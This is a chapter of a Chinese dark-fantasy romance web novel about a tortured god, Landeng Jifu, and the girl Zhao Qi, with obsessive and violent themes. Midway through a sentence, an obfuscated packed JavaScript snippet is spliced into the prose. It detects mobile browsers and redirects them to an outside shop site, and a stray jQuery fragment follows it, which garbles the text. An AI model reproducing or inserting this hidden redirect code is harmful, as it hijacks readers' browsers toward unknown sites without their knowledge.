她索性摆烂不再挣扎。可身体传来的异样感让她无法轻易忽略。赵琦用力咬住唇,脸色通红。
可还是会被杀,他会杀掉她。
“兰灯寂拂。”她开口呼唤,“我难受,你难受吗?”
柳枝的动作突然停下,缠绕在她的脖颈处就不再动。赵琦抬手抓住柳条,手一下一下地,拂过柳叶,像撸猫般地安抚它。猫舒服了就不会抓人了,赵琦这样觉得。
可柳枝突然动得更加强烈,赵琦愣住,手也不自觉停下,她突然怀疑自己是不是做了一件更傻的事。
第一次被关心,第一次被保护,第一次被亲吻……一切的一切,都有关于她。一幕幕画面,如流水过膝,他看见,他无法感知到。
兰灯寂拂的诞生,于百神鼎盛之际。他是天道的执行神,或者说,他本身就是天道。身体第一次受伤,不会流血,只有带有利刺的长鞭抽在身上。心脏第一次被挖出来,但他们知道他不会死,神明的心会再次长出来。骨头第一次被下咒,兰灯寂拂,只要你杀了我们其中任何一个,你就会承受永远无法消失的骨裂之痛。
囚笼角落呆着的那个新生幼兽,即使这样被对待,眼中也没有怨恨,没有情绪。这是所有诸神所默认的,如果他们不杀他,他就会杀他们。
他们抱臂,每日都有一个神明进入囚笼,对幼年的兰灯寂拂实行新一种暴刑。包括玖音,她也曾走入那道铁笼,于月光下,抬手为兰灯寂拂施加一道枷锁。一道只要他动弹,便会痒痛钻心的咒枷。
他们所有神都从未问过,兰灯寂拂,是否真的有意愿想要杀他们。只是预言说,他们也这样深信。
某天,一个女孩到来,在兰灯寂拂快要突破心中底线,开始弑神时。“叔叔,你在干嘛?”她双手捏紧,围在铁笼,“好奇,想看。请允许我一直看着你。”
贪欲之神最终走了。
雾气散去,兰灯寂拂的眼睛第一次能看清面容。神明的,精怪的,一切的一切曾在他眼中模糊朦胧。可赵琦出现,她钻进这座所有神都避之不及的囚笼。她眼睛闪亮亮的,似乎怀有期待看向他。
期待什么,兰灯寂拂抬眸,他不解,困惑着。他这样的神,也会有人对他怀有期待吗......她拿出一抹红,她为他扎发,这也是他第一次看见世界的颜色。白的,红的,纯真的,原来,是这样美好吗。
她说:“兰灯寂拂,逃出去,带我逃出去吧。”她双手合十,闭眼,如同古寺庙中对神明祈祷的信徒。虔诚,真挚,执念。她的无心之言,一直在他耳畔环绕。
会的,神明会让他的信徒如愿。
他磕磕绊绊,带着模仿:“逃,出去。”
可赵琦突然道:“我们,逃,出去。”她对着他口型重复。像在教一个刚来到世界的婴孩。她指向自己的唇。“我们,一起。”
一起......吗?
她想去那个叫做酆都的地方,她说她想回家。而我,想让她能回家。
她最终还是又回到了这座囚笼,“兰灯寂拂,你喜欢我好不好,这样,你以后就不会杀我了。”她这样问他,眸子带着忐忑。
喜欢是什么?兰灯寂拂不知道。但他想为了她知道。
他们一起逃了出去,“你,为什么带我来这里呢?”她这样问。
那个村庄,黑夜,稻田,草屋,红柿。没有为什么,他只是随便选了一个地方。哪里都无所谓的,只要有她在身边。
后来,她吻了他。
吻是什么感觉,他不懂,可却无法控制,他抬手,想加深这种迷茫的触动。可她瑟缩,她推开他,眼中带着害怕。
为什么?
再后来,他找不到她了。她死了。
记忆中,她也许曾笑容真挚问:“兰灯寂拂,我可以把你拼好吗?你知道吗?裂缝里透出的光,会
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632180|206413||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
比完整的月亮还好看呀。”
可她死了,他们杀了她,杀了那个最想回家的她。他们,杀了他的神明。
我守着这座没有你的山。
每斩杀一个神明,就会失去一种情绪。他好像记得她,他也好像忘了她。无法得到她,那就生下她。似乎,也可以。
斩杀最后一个神明,他的神力会达到最巅峰,他想,他就有资格了。
赵琦的身体突然一颤,再然后,她进入另一片白茫茫的世界。玖音的身体倒在地上,已经死去。而她本来的身体也倒在地上,没了生息。
兰灯寂拂站在地面,他长发披散。忽然之间,他似有所感抬眸。
赵琦被强制飘了下来。
地上落了一根红绳,那是她曾经送给他的。这不该属于他的东西总是掉落,而他却努力地,拼尽全力地试图挽留。
“我会生下你,死都要,在一起。”
赵琦知道此刻兰灯寂拂看不见她,可依旧会为耳中听到的这句话感到心惊骇。赵琦怔怔看着他的眼睛,没有温柔,没有炽热,甚至没有悲伤,那双眸子此刻平静得像一潭死水。
可他握着红绳的手指,隐隐用力。
“你......已经没有感情了。”赵琦声音发颤。
兰灯寂拂低下头,将红绳重新系入发间,动作极慢,他在完成一道刻进骨头里的命令。
“嗯。”他应了一声,语气平淡,“所以这句话,是我最后剩下的东西。”
赵琦突然明白了,他杀死情爱之神的那一刻,所有对她的爱意本该消失。可生下她的这个执念,是在杀神之前就刻下的。情感没了,执念还在。
他由一根没有知觉的线,还在固执地牵着另一端。
而现在,他手探在空白空气中,牵起了赵琦的手,把它往他的身体上放,温柔而缓慢地询问:
“要摸摸,你自己吗?”